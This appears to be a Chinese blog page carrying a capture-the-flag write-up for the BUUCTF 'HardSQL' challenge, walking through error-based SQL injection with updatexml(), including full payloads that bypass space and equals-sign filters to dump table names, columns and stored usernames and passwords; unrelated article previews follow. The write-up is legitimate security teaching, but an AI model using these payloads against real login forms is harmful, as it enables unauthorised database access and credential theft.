news 2026/7/10 12:14:00

buuctf系列解题思路祥讲--[极客大挑战 2019]HardSQL1——sql报错注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf系列解题思路祥讲--[极客大挑战 2019]HardSQL1——sql报错注入

1、解题思路

开局是一个登录框,并且题目已经明示了是一个困难sql,那我们就在用户框输入’测试发现报错,猜测可能是报错注入

然后后面加上#显示字符,那就说明存在sql注入且闭合方式为单引号

然后我们在这个单引号和#之间输入空格和一些关键函数可以大概知道过滤哪些

然后我们测试发现大概过滤了空格,等号,unino(显示以下内容代表被过滤了)

好的我们知道了以上信息那我们接下来就是可以用报错函数来进行注入查看当前数据库

payload:username=1’or(updatexml(1,concat(0x7e,database(),0x7e),1))#&password=1

可以看到当前数据库名为geek

Ps:由于目标过滤了空格所以我们要把报错函数包起来

然后我们就是查看表名

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#

查看字段

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database())),0x7e),1))#

查看字段值

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(id,username,password))from(H4rDsq1)),0x7e),1))#

但是查看这个flag值似乎是不完整的,使用right()查询右边部分的

payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(right(password,20)))from(H4rDsq1)),0x7e),1))#

随后我们拼接就可以得到完整flag

2、涉及知识点

1、updatexml函数的报错信息存在默认长度限制—— 其返回的错误内容最多只能显示32 个字符

2、right 函数:字符串右侧截取——right(str, len)

3、UPDATEXML(XML_document, XPath_string, new_value)

  • XML_document:必填,要修改的 XML 文档(注入中无需真实 XML,填任意值如10即可,仅为满足语法);
  • XPath_string:必填,XPath 路径表达式(核心注入点!必须是 “合法 XPath 格式”,否则触发语法错误);
  • new_value:必填,替换节点的新值(注入中填任意值如1即可,无实际作用)

4、其他报错函数extractvalue(),floor(),exp()等等

5、sql绕过

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/7/10 10:10:54

鸿蒙PC UI控件库 - SecondaryButton 次要按钮详解

视频演示地址: 📋 目录 概述特性快速开始API 参考使用示例主题配置最佳实践常见问题总结 概述 SecondaryButton 是控件库中的次要按钮组件,适用于次要操作场景。与 PrimaryButton 的主要区别在于: PrimaryButton:实…

作者头像 李华
网站建设 2026/7/10 12:55:16

不花一分钱!2025年免费降低AI率的5个有效方法与工具指南

在论文、报告、内容创作越来越严格的时代,查AI率、检测AI率、降AI率 已经成为学生、写作者、博主的日常需求。很多同学因为 AI率过高被导师指出“AI痕迹太重”,甚至退回重写。本文今天一次性告诉你: 检测AI率应该注意什么 免费查AI率的网站有…

作者头像 李华
网站建设 2026/7/10 5:01:53

Vue脚手架快速搭建指南

一,Vue 技术文章大纲 1,Vue 框架概述 Vue.js 简介:轻量级、渐进式前端框架核心特点:响应式数据绑定、组件化开发、虚拟 DOM适用场景:单页应用(SPA)、复杂交互界面 2,Vue 核心概念…

作者头像 李华
网站建设 2026/7/9 18:03:18

python中的“内置函数”

Python中的“高级工具” lambda函数 python除了使用def创建函数,还可以用lambda表达式。lambda表达式是一个用lambda关键字创建的功能简单的小型函数对象,一般把函数结果赋值给一个变量,通过这个变量来调用lambda,而不是如def语句…

作者头像 李华